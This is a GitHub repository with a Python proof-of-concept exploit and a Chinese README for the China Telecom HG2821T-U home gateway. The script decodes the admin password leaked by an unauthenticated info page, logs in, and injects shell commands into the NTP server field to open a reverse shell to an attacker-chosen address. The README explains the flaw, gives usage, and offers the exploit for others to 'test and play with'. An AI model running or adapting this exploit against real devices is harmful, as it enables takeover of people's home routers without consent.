├── 1.png ├── 3.png ├── HG2821T-U_PoC.py └── README.md /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/C4o/HG2821T-U_PoC/343d61aaebceff14eda6f69ec9edd346bb33a0f9/1.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/C4o/HG2821T-U_PoC/343d61aaebceff14eda6f69ec9edd346bb33a0f9/3.png -------------------------------------------------------------------------------- /HG2821T-U_PoC.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | #author Levi4than 3 | 4 | import requests 5 | import json 6 | import sys 7 | 8 | decodeDict = { 9 | "48":"0", 10 | "49":"1", 11 | "50":"2", 12 | "51":"3", 13 | "52":"4", 14 | "53":"5", 15 | "54":"6", 16 | "55":"7", 17 | "56":"8", 18 | "57":"9", 19 | "65":"W", 20 | "66":"X", 21 | "67":"Y", 22 | "68":"Z", 23 | "69":"A", 24 | "70":"B", 25 | "71":"C", 26 | "72":"D", 27 | "73":"E", 28 | "74":"F", 29 | "75":"G", 30 | "76":"H", 31 | "77":"I", 32 | "78":"J", 33 | "79":"K", 34 | "80":"L", 35 | "81":"M", 36 | "82":"N", 37 | "83":"O", 38 | "84":"P", 39 | "85":"Q", 40 | "86":"R", 41 | "87":"S", 42 | "88":"T", 43 | "89":"U", 44 | "90":"V", 45 | "97":"w", 46 | "98":"x", 47 | "99":"y", 48 | "100":"z", 49 | "101":"a", 50 | "102":"b", 51 | "103":"c", 52 | "104":"d", 53 | "105":"e", 54 | "106":"f", 55 | "107":"g", 56 | "108":"h", 57 | "109":"i", 58 | "110":"j", 59 | "111":"k", 60 | "112":"l", 61 | "113":"m", 62 | "114":"n", 63 | "115":"o", 64 | "116":"p", 65 | "117":"q", 66 | "118":"r", 67 | "119":"s", 68 | "120":"t", 69 | "121":"u", 70 | "122":"v" 71 | } 72 | 73 | def decodePass(encodeStr): 74 | encodeStrArr = encodeStr.split("&") 75 | decodeStr = "" 76 | for i in range(0, len(encodeStrArr)-1, 1): 77 | decodeStr = decodeStr + decodeDict[encodeStrArr[i]] 78 | return decodeStr 79 | 80 | def login(gwURL, reverses): 81 | 82 | logURL = gwURL + "/cgi-bin/login.htm.cgi" 83 | infoPage = gwURL + '/cgi-bin/baseinfoSet.cgi' 84 | try: 85 | pagesource = requests.get(infoPage, timeout=5).content 86 | except: 87 | print '[-] maybe time out' 88 | encodePassword = json.loads(pagesource)["BASEINFOSET"]["baseinfoSet_TELECOMPASSWORD"] 89 | telecom_password = decodePass(encodePassword) 90 | 91 | data = { 92 | "user_name":"telecomadmin", 93 | "password":telecom_password 94 | } 95 | session = requests.session() 96 | session.proxies = {"http":"http://127.0.0.1:8080"} 97 | loginContent = session.post(logURL, data=data, timeout=5).content 98 | if 'index_main' in loginContent: 99 | poc(session, reverses, gwURL) 100 | else: 101 | print '[-] maybe password wrong' 102 | 103 | def poc(session, reverses, gwURL): 104 | 105 | exploitPage = gwURL + "/cgi-bin/sntpcfg.cgi" 106 | header = {"Content-Type": "text/xml"} 107 | data1 = { 108 | "ntp_enabled":"1", 109 | "ntpservertype":"0", 110 | "ntpinterval":"86400", 111 | "ntpServer1":"||mknod /tmp/backpipe p" 112 | } 113 | data2 = { 114 | "ntp_enabled":"1", 115 | "ntpservertype":"0", 116 | "ntpinterval":"86400", 117 | "ntpServer1":"||/bin/sh 0/tmp/backpipe" 118 | } 119 | 120 | try: 121 | status = session.post(exploitPage, headers=header, data=data1, timeout=10).status_code 122 | if status != 200: 123 | print '[-] maybe this function doesnt exist or session expires' 124 | else: 125 | session.post(exploitPage, headers=header, data=data2, timeout=15) 126 | print '[+] check your shell' 127 | except: 128 | print '[-] maybe get stuck,try later' 129 | 130 | 131 | if __name__ == '__main__': 132 | if len(sys.argv) != 3: 133 | print '[-] wrong format' 134 | print 'example: python HG2821T-U_PoC.py http://192.168.1.1:8080 123.123.123.123:1234' 135 | else: 136 | gwURL = sys.argv[1] 137 | reverse = sys.argv[2] 138 | try: 139 | requests.get(gwURL, timeout=10) 140 | reverses = reverse.split(":") 141 | login(gwURL, reverses) 142 | except Exception, e: 143 | print e 144 | print '[-] target doesnt exist or reverse address wrong' 145 | 146 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HG2821T-U_PoC 2 | 电信光猫HG2821T-U家庭网关代码执行反弹shell的PoC 3 | 4 | ## 类Freebuf标题:看我如何日穿你家的光猫 5 | 2017年年中安装的电信光猫,18年年末又换了一次,听安装人员说是最新的光猫。8080端口存在一个烽火的后台管理系统,测试时发现一个密码信息泄露页面存在硬编码的认证口令,还碰巧发现一个代码执行漏洞。从配置文件来看,设备在全国各个省份都有使用。 6 | ``` 7 | 虽然分配了公网地址,但是默认不会对外开放端口,所以漏洞没法远程利用。 8 | ``` 9 | 其实是大概17年底发现的,前阵子突然发现关于这个光猫的帖子好多来了好多,发现漏洞还在就交了补天,结果审核通过之后,因为“原则”问题没有收,然后就顺道交了CNVD骗张证书。 10 | 其实危害不大,所以给大家测试玩玩。 11 | ``` 12 | 漏洞其实是烽火开发的天翼带宽家庭网关的问题,所以其他型号的光猫其实不一定没有。 13 | ``` 14 | ### 臆想的利用场景 15 | 可以连接使用了这种光猫的公共场所的wifi(但是感觉商场应该不会用这种家用光猫) 16 | 17 | ## 漏洞利用 18 | 这系统有个信息泄露直接将密码编码显示,在这个页面 19 | ``` 20 | http://192.168.x.1/cgi-bin/baseinfoSet.cgi 21 | ``` 22 | ![image](https://github.com/C4o/HG2821T-U_PoC/blob/master/1.png) 23 | 24 | 一开始没找着,隔了一阵子就发现有老大哥搞定了编码规则: 25 | ``` 26 | http://koolshare.cn/forum.php?mod=viewthread&tid=125090&highlight=hg2821 27 | ``` 28 | 可以成功解密登陆,后来发现每一台光猫的密码都不一样(吐槽那位补天审核人员的“原则”问题)。 29 | 登陆后的设置时间页面,就能看到一个设置时间服务器的功能,测试一下就容易发现存在命令执行漏洞了。(看到过很多类似的文章,一时间找竟然找不着了。。) 30 | 31 | ## 脚本使用 32 | ``` 33 | python HG2821T-U_PoC.py http://192.168.x.1:8080 reverse_ip:reverse:port 34 | ``` 35 | 效果图 36 | 37 | ![image](https://github.com/C4o/HG2821T-U_PoC/blob/master/3.png) 38 | 39 | ## 学习交流 40 | 最近房东装了智能门锁,但是太菜搞不进去,不知道有没有大师傅肯教教我。 41 | 42 | 当然,如果有老哥乐意加我扯淡吹牛也同样ojbk。 43 | 44 | ![image](https://github.com/C4o/HG2821T-U_PoC/blob/master/2.png) 45 | --------------------------------------------------------------------------------